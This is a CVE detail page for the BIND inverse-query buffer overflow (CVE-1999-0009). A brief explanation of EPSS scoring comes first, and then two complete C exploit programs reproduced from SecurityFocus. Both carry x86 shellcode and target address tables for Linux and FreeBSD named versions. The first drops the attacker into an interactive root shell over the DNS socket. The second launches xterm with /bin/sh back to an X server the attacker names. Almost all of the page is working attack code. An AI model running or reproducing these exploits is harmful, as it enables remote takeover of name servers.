CVE-1999-0009 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* source: https://www.securityfocus.com/bid/134/info A buffer overflow exists in certain versions of BIND, the nameserver daemon currently maintained by the Internet Software Consortium (ISC). BIND fails to properly bound the data recieved when processing an inverse query. Upon a memory copy, portions of the program can be overwritten, and arbitrary commands run on the affected host. Exploits for this vulnerability are very widespread, and were posted to the Bugtraq mailing list. */ /* * have fun. * -ROTShB */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <time.h> #include <string.h> #include <ctype.h> #include <netdb.h> #include <sys/time.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <arpa/nameser.h> #define DEFAULT_TARGET 0 #define DEFAULT_OPTIMIZATION 0 #define DEFAULT_ANBUF_OFFSET 300 #define DLEN_VAL 4 #define NPACKETSZ 512 #define NMAXDNAME 1025 #define PRE_EGG_DATALEN (1+(sizeof(short)*3)+sizeof(long)) #define ALEN_VAL (DLEN_VAL+PRE_EGG_DATALEN) #define BUFFSIZE 4096 struct target_type { char desc[40]; int systype; unsigned long addr; unsigned long opt_addr; int fd; }; struct target_type target[] = { {"x86 Linux 2.0.x named 4.9.5-REL (se)",0,0xbffff21c,0xbffff23c,4}, {"x86 Linux 2.0.x named 4.9.5-REL (le)",0,0xbfffeedc,0xbfffeefc,4}, {"x86 Linux 2.0.x named 4.9.5-P1 (se)",0,0xbffff294,0xbffff2cc,4}, {"x86 Linux 2.0.x named 4.9.5-P1 (le)",0,0xbfffef8c,0xbfffefb4,4}, {"x86 Linux 2.0.x named 4.9.6-REL (se)",0,0xbffff3e3,0xbffff403,4}, {"x86 Linux 2.0.x named 4.9.6-REL (le)",0,0xbffff188,0xbffff194,4}, {"x86 Linux 2.0.x named 8.1-REL (se)",0,0xbffff6a4,0xbffff6f8,5}, {"x86 Linux 2.0.x named 8.1-REL (le)",0,0xbffff364,0xbffff3b8,5}, {"x86 Linux 2.0.x named 8.1.1 (se)",0,0xbffff6b8,0xbffff708,5}, {"x86 Linux 2.0.x named 8.1.1 (le)",0,0xbffff378,0xbffff3c8,5}, {"x86 FreeBSD 3.x named 4.9.5-REL (se)",1,0xefbfd260,0xefbfd2c8,4}, {"x86 FreeBSD 3.x named 4.9.5-REL (le)",1,0xefbfd140,0xefbfd1a8,4}, {"x86 FreeBSD 3.x named 4.9.5-P1 (se)",1,0xefbfd260,0xefbfd2c8,4}, {"x86 FreeBSD 3.x named 4.9.5-P1 (le)",1,0xefbfd140,0xefbfd1a8,4}, {"x86 FreeBSD 3.x named 4.9.6-REL (se)",1,0xefbfd480,0xefbfd4e8,4}, {"x86 FreeBSD 3.x named 4.9.6-REL (le)",1,0xefbfd218,0xefbfd274,4}, {{0},0,0,0,0} }; unsigned long resolve(char *host) { long i; struct hostent *he; if((i=inet_addr(host))==(-1)) if((he=gethostbyname(host))==NULL) return(0); else return(*(unsigned long *)he->h_addr); return(i); } int send_packet(int fd, char *buff, int len) { char tmp[2], *ptr=tmp; PUTSHORT(len,ptr); if(write(fd,tmp,2)!=2) return(-1); if(write(fd,buff,len)!=len) return(-1); return(1); } int attack(int fd, struct target_type t, unsigned long offset, int optimized) { char buff[BUFFSIZE], *ptr=buff; HEADER *dnsh=(HEADER *)buff; unsigned long i; int dlen, len=0; (void)memset(dnsh,0,sizeof(HEADER)); dnsh->id = htons(31337); dnsh->opcode = IQUERY; dnsh->rd = 1; dnsh->ra = 1; dnsh->ancount = htons(1); ptr += sizeof(HEADER); len += sizeof(HEADER); *ptr = '\0'; ptr++; i = T_A; PUTSHORT(i,ptr); i = C_IN; PUTSHORT(i,ptr); i = 31337; PUTLONG(i,ptr); if(t.systype==0) { char c0de[] = "\x31\xc0\xb0\x3f\x31\xdb\xb3\xff\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\xb1" "\x01\xcd\x80\x31\xc0\xb0\x3f\xb1\x02\xcd\x80\xeb\x24\x5e\x8d\x1e\x89" "\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10" "\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7" "\xff\xff\xff/bin/sh"; if(optimized) dlen = NPACKETSZ+(NMAXDNAME+3)+8-PRE_EGG_DATALEN; else dlen = NPACKETSZ+(NMAXDNAME+3)+(sizeof(int)*6)+8-PRE_EGG_DATALEN; PUTSHORT(dlen,ptr); len += PRE_EGG_DATALEN; c0de[7] = t.fd; (void)memset(ptr,0x90,(sizeof(buff)-(ptr-buff))); i = NPACKETSZ-PRE_EGG_DATALEN-sizeof(c0de); (void)memcpy((ptr+i),c0de,sizeof(c0de)); if(!optimized) { (void)memcpy((ptr+(dlen-16-sizeof(c0de))),c0de,sizeof(c0de)); i = ALEN_VAL; (void)memcpy((ptr+(dlen-16)),&i,sizeof(i)); i = DLEN_VAL; (void)memcpy((ptr+(dlen-12)),&i,sizeof(i)); } else (void)memcpy((ptr+(dlen-4-sizeof(c0de))),c0de,sizeof(c0de)); i = (optimized?t.opt_addr:t.addr)+offset; len += dlen; } else if(t.systype==1) { char c0de[] = "\xeb\x6e\x5e\xc6\x06\x9a\x31\xc9\x89\x4e\x01\xc6\x46\x05\x07\x88" "\x4e\x06\x51\x31\xdb\xb3\x04\x53\x66\xc7\x46\x07\xeb\xa7\x31\xc0" "\xb0\x5a\x50\xeb\x50\xfe\xc1\x51\x53\xc6\x46\x08\xb6\x31\xc0\xb0" "\x5a\x50\xeb\x41\xfe\xc1\x51\x53\xc6\x46\x08\xc5\x31\xc0\xb0\x5a" "\x50\xeb\x32\xc7\x46\x07\x2f\x62\x69\x6e\xc7\x46\x0b\x2f\x73\x68" "\x21\x31\xc0\x88\x46\x0e\x8d\x5e\x07\x89\x5e\x0f\x89\x46\x13\x8d" "\x5e\x13\x53\x8d\x5e\x0f\x53\x8d\x5e\x07\x53\xb0\x3b\x50\xeb\x05" "\xe8\x8d\xff\xff\xff"; if(optimized) dlen = NPACKETSZ+(NMAXDNAME+3)+8-PRE_EGG_DATALEN; else dlen = NPACKETSZ+(NMAXDNAME+3)+(sizeof(int)*6)+8-PRE_EGG_DATALEN; PUTSHORT(dlen,ptr); len += PRE_EGG_DATALEN; c0de[22] = t.fd; (void)memset(ptr,0x90,(sizeof(buff)-(ptr-buff))); i = NPACKETSZ-PRE_EGG_DATALEN-sizeof(c0de); (void)memcpy((ptr+i),c0de,sizeof(c0de)); if(!optimized) { (void)memcpy((ptr+(dlen-16-sizeof(c0de))),c0de,sizeof(c0de)); i = ALEN_VAL; (void)memcpy((ptr+(dlen-16)),&i,sizeof(i)); i = DLEN_VAL; (void)memcpy((ptr+(dlen-12)),&i,sizeof(i)); } else (void)memcpy((ptr+(dlen-4-sizeof(c0de))),c0de,sizeof(c0de)); i = (optimized?t.opt_addr:t.addr)+offset; (void)memcpy((ptr+(dlen-4)),&i,sizeof(i)); len += dlen; } else return(0); return(send_packet(fd,buff,len)); } int main(int argc, char *argv[]) { char xbuf[128], ybuf[128]; unsigned long offset=DEFAULT_ANBUF_OFFSET; int ti, opt=DEFAULT_OPTIMIZATION, sock, i; int xlen=0, ylen=0; fd_set rd, wr; struct sockaddr_in sa; for(i=0;((target[i].addr)||(target[i].opt_addr));i++); if(argc<2) { (void)fprintf(stderr,"\ntarget types:\n"); for(ti=0;ti<i;ti++) (void)fprintf(stderr," %-2d : %s\n",ti,target[ti].desc); (void)fprintf(stderr,"\nerror: usage: %s <host> [tt] [opt] [ofst]\n", argv[0]); exit(-1); } if(argc>2) { ti = atoi(argv[2]); if((ti<0)||(ti>i)) { (void)fprintf(stderr,"error: invalid target type %d\n",ti); exit(-1); } } else ti = DEFAULT_TARGET; if(argc>3) { opt = atoi(argv[3]); if((opt!=0)&&(opt!=1)) { (void)fprintf(stderr,"error: invalid optimization setting %d\n",opt); exit(-1); } } if(argc>4) offset = atoi(argv[4]); if(!(sa.sin_addr.s_addr=resolve(argv[1]))) { (void)fprintf(stderr,"error: can not resolve: %s\n",argv[1]); exit(-1); } sa.sin_family = AF_INET; sa.sin_port = htons(53); if((sock=socket(sa.sin_family,SOCK_STREAM,0))==(-1)) { (void)perror("error: socket"); exit(-1); } if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))==(-1)) { (void)perror("error: connect"); exit(-1); } (void)printf("target : %s\n",inet_ntoa(sa.sin_addr)); (void)printf("target type : %s\n",target[ti].desc); (void)printf("optimized named : %s\n",(opt?"YES":"NO")); (void)printf("anbuff addr : 0x%x\n",(unsigned int) (i=(opt?target[ti].opt_addr:target[ti].addr))); (void)printf("anbuff addr offset : %lu\n",offset); (void)printf("ret addr : 0x%x\n",(unsigned int)(i+offset)); (void)printf("fd to make dups of : %d\n",target[ti].fd); (void)printf("here we go...\n"); switch(attack(sock,target[ti],offset,opt)) { case -1: (void)perror("error: attack"); exit(-1); break; case 0: (void)fprintf(stderr,"error: internal error\n"); exit(-1); break; } (void)printf("have fun.\n"); (void)printf("-ROTShB\n"); while(1) { FD_ZERO(&rd); if(ylen<(sizeof(ybuf)-1)) FD_SET(sock,&rd); if(xlen<(sizeof(xbuf)-1)) FD_SET(fileno(stdin),&rd); FD_ZERO(&wr); if(xlen) FD_SET(sock,&wr); if(ylen) FD_SET(fileno(stdout),&wr); if((ti=select((sock+1),&rd,&wr,NULL,NULL))==(-1)) { (void)perror("error: select"); break; } if(FD_ISSET(fileno(stdin),&rd)) { if((i=read(fileno(stdin),(xbuf+xlen),(sizeof(xbuf)-xlen)))==(-1)) { (void)perror("error: read"); exit(-1); } else if(i==0) break; xlen += i; if(!(--ti)) continue; } if(FD_ISSET(sock,&wr)) { if(write(sock,xbuf,xlen)!=xlen) { (void)perror("error: write"); exit(-1); } xlen = 0; if(!(--ti)) continue; } if(FD_ISSET(sock,&rd)) { if((i=read(sock,(ybuf+ylen),(sizeof(ybuf)-ylen)))==(-1)) { (void)perror("error: read"); exit(-1); } else if(i==0) break; ylen += i; if(!(--ti)) continue; } if(FD_ISSET(fileno(stdout),&wr)) { if(write(fileno(stdout),ybuf,ylen)!=ylen) { (void)perror("error: write"); exit(-1); } ylen = 0; if(!(--ti)) continue; } } if(close(sock)==(-1)) { (void)perror("error: close"); exit(-1); } exit(0); }

/* source: https://www.securityfocus.com/bid/134/info A buffer overflow exists in certain versions of BIND, the nameserver daemon currently maintained by the Internet Software Consortium (ISC). BIND fails to properly bound the data recieved when processing an inverse query. Upon a memory copy, portions of the program can be overwritten, and arbitrary commands run on the affected host. Exploits for this vulnerability are very widespread, and were posted to the Bugtraq mailing list. */ /* * z, thnx. * ganked the xterm exec from adm, thnx. * have fun. * -prym */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <time.h> #include <string.h> #include <ctype.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <arpa/nameser.h> #include <netdb.h> #define REMOTE #define DEFAULT_ANBUF_OFFSET 300 #define DEFAULT_TARGET 0 #define DEFAULT_OPTIMIZED 0 #define DLEN_VAL 4 #define PRE_OF_DATALEN (1+(sizeof(short)*3)+sizeof(long)) #define ALEN_VAL (DLEN_VAL+PRE_OF_DATALEN) #define EVILSPACE (PACKETSZ-PRE_OF_DATALEN) #define RET_FROM_1NOP (PACKETSZ+(MAXDNAME+3)+(sizeof(int)*6)+4-PRE_OF_DATALEN) #define OPT_RET_FROM_1NOP (PACKETSZ+(MAXDNAME+3)+4-PRE_OF_DATALEN) struct target_type { char desc[40]; int systype; unsigned long addr; unsigned long opt_addr; }; struct target_type target[] = { {"x86 Linux 2.0.x named 4.9.5-P1",0,0xbfffef8c,0xbfffefb4}, {"x86 Linux 2.0.x named 4.9.6-REL",0,0xbffff188,0xbffff194}, {"x86 Linux 2.0.x named 8.1-REL",0,0xbffff3f0,0xbffff44c}, {"x86 Linux 2.0.x named 8.1.1",0,0xbffff404,0xbffff45c}, {"x86 Linux 2.0.x RH 4.2 named 4.9.5-P1",0,0,0xbfffeff8}, {{0},0,0,0} }; unsigned long resolve(char *host) { long i; struct hostent *he; if((i=inet_addr(host))<0) if((he=gethostbyname(host))==NULL) return(0); else return(*(unsigned long *)he->h_addr); return(i); } int send_packet(int fd, char *buff, int len) { char tmp[2], *ptr=tmp; PUTSHORT(len,ptr); if(write(fd,tmp,2)!=2) return(-1); if(write(fd,buff,len)!=len) return(-1); return(1); } int attack(int fd, struct in_addr us, struct target_type t, unsigned long offset, int optimized) { char buff[sizeof(HEADER)+PRE_OF_DATALEN+RET_FROM_1NOP+4], *ptr=buff; HEADER *dnsh=(HEADER *)buff; unsigned long i; int dlen, len=0, al=ALEN_VAL, dl=DLEN_VAL; memset(dnsh,0,sizeof(HEADER)); dnsh->id = htons(31337); dnsh->opcode = IQUERY; dnsh->rd = 1; dnsh->ra = 1; dnsh->ancount = htons(1); ptr += sizeof(HEADER); len += sizeof(HEADER); *ptr = '\0'; ptr++; PUTSHORT(T_A,ptr); PUTSHORT(C_IN,ptr); PUTLONG(31337,ptr); dlen = (optimized?OPT_RET_FROM_1NOP:RET_FROM_1NOP)+4; PUTSHORT(dlen,ptr); len += PRE_OF_DATALEN; memset(ptr,'X',(sizeof(buff)-(ptr-buff))); if(t.systype==0) { #ifdef REMOTE char c1[] = "\xeb\x2f\x5f\xeb\x4a\x5e\x89\xfb\x89\x3e\x89\xf2\xb0\xfe\xae\x74" "\x14\x46\x46\x46\x46\x4f\x31\xc9\x49\xb0\xff\xf2\xae\x30\xc0\x4f" "\xaa\x89\x3e\xeb\xe7\x31\xc0\x89\x06\x89\xd1\x31\xd2\xb0\x0b\xcd" "\x80\xe8\xcc\xff\xff\xff"; char c2[] = "/usr/bin/X11/xterm\xff-display\xff"; char c3[32]; char c4[] = "\xfe\xe8\xb1\xff\xff\xff"; snprintf(c3,sizeof(c3),"%s:0\xff-e\xff/bin/sh\xff",inet_ntoa(us)); c1[4] = (unsigned char)0x32+strlen(c2)+strlen(c3); c4[2] = (unsigned char)0xc9-strlen(c2)-strlen(c3); i = EVILSPACE-strlen(c1)-strlen(c2)-strlen(c3)-strlen(c4); memset(ptr,0x90,i); memcpy((ptr+i),c1,strlen(c1)); memcpy((ptr+i+strlen(c1)),c2,strlen(c2)); memcpy((ptr+i+strlen(c1)+strlen(c2)),c3,strlen(c3)); memcpy((ptr+i+strlen(c1)+strlen(c2)+strlen(c3)),c4,strlen(c4)); #else char c0de[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/hi"; int i = EVILSPACE-strlen(c0de); memset(ptr,0x90,i); memcpy((ptr+i),c0de,strlen(c0de)); #endif } else return(0); if(!optimized) { memcpy((ptr+(dlen-16)),&al,sizeof(al)); memcpy((ptr+(dlen-12)),&dl,sizeof(dl)); } i = (optimized?t.opt_addr:t.addr)+offset; memcpy((ptr+(dlen-4)),&i,sizeof(i)); len += dlen; return(send_packet(fd,buff,len)); } int main(int argc, char *argv[]) { unsigned long offset=DEFAULT_ANBUF_OFFSET; int target_index=DEFAULT_TARGET, optimized=DEFAULT_OPTIMIZED, sock, i; struct sockaddr_in sa; struct in_addr xs; for(i=0;target[i].desc[0];i++); if(argc<3) { fprintf(stderr,"\ntarget types:\n"); fprintf(stderr," %-2s : %-12s - %-12s - %s\n","tt","anbuf","opt anbuf", "description"); for(target_index=0;target_index<i;target_index++) fprintf(stderr," %-2d : 0x%-10x - 0x%-10x - %s\n",target_index, (unsigned int)target[target_index].addr, (unsigned int)target[target_index].opt_addr, target[target_index].desc); fprintf(stderr, "\nerror: usage: %s <target> <X server> [tt] [opt] [offset]\n", argv[0]); exit(-1); } if((argc>3)&&((target_index=atoi(argv[3]))>=i)) { fprintf(stderr,"error: invalid target type %d\n",target_index); exit(-1); } if((target[target_index].addr==0)&&(target[target_index].opt_addr==0)) { fprintf(stderr,"error: internal error\n"); exit(-1); } if(argc>4) { optimized = atoi(argv[4]); if((optimized!=0)&&(optimized!=1)) { fprintf(stderr,"error: invalid optimization setting %d\n",optimized); exit(-1); } } if((optimized==0)&&(target[target_index].addr==0)) optimized = 1; if((optimized==1)&&(target[target_index].opt_addr==0)) optimized = 0; if(argc>5) offset = atoi(argv[5]); if(!(xs.s_addr=resolve(argv[2]))) { fprintf(stderr,"error: can not resolve: %s\n",argv[2]); exit(-1); } if(!(sa.sin_addr.s_addr=resolve(argv[1]))) { fprintf(stderr,"error: can not resolve: %s\n",argv[1]); exit(-1); } sa.sin_family = AF_INET; sa.sin_port = htons(53); if((sock=socket(sa.sin_family,SOCK_STREAM,IPPROTO_TCP))==(-1)) { perror("error: socket"); exit(-1); } if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))==(-1)) { perror("error: connect"); exit(-1); } printf("target : %s\n",inet_ntoa(sa.sin_addr)); printf("target type : %s\n",target[target_index].desc); printf("optimized named : %s\n",(optimized?"YES":"NO")); printf("anbuff addr : 0x%x\n",(unsigned int) (optimized?target[target_index].opt_addr:target[target_index].addr)); printf("anbuff addr offset : %lu\n",offset); printf("xterm display dest : %s:0\n",inet_ntoa(xs)); printf("exploiting . . .\n"); switch(attack(sock,xs,target[target_index],offset,optimized)) { case -1: perror("error: attack"); return(-1); break; case 0: fprintf(stderr,"error: internal error\n"); return(-1); break; } if(close(sock)!=0) { perror("error: close"); return(-1); } exit(0); }